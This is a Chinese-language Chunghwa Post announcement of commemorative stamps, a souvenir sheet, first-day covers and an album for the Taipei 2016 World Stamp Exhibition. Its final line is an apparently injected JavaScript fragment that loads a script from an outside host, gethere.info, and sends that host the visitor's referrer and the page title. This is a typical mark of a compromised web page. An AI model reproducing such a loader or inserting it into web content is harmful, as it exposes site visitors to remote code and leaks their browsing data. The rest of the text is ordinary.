臺北2016世界郵展將於10月21日在世貿一館舉行，為配合首日「郵政日」主題，中華郵政特以遞送郵件的綠衣天使及承載便利箱的信鴿為題材，發行紀念郵票1組2枚及小全張1張。郵票面值分別為5元及25元；小全張內含面值32元郵票2枚，訂於10月21日發行。
面值5元郵票圖案為騎著腳踏車的綠衣天使，藉著熱氣球將載滿歡樂與溫情的郵件散播到各地，面值25元郵票為身繫e化造型緞帶的信鴿，傳遞郵政e化創新服務的訊息。背負的便利箱像聚寶盒，象徵多元化的郵政服務。小全張內含面值32元郵票2枚，郵票圖案與前2枚相同，惟於局部打凸及燙印雷射全像膜。
配合郵票發行，特印製相關首日封、貼票卡、護票卡、活頁集郵卡各1批，提前於10月19日發售，並製作預銷首日戳低值封、套票封及小全張封於郵票發行當天供售。
另於10月22日發行「臺北2016世界郵展專冊」1款，集結郵展系列郵票、郵政120週年紀念郵票小全張，並附贈多項限量版專屬贈品，數量有限，極具收藏價值，歡迎至全國各地郵局選購或至「中華郵政集郵電子商城」(https://stamp.post.gov.tw)訂購。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;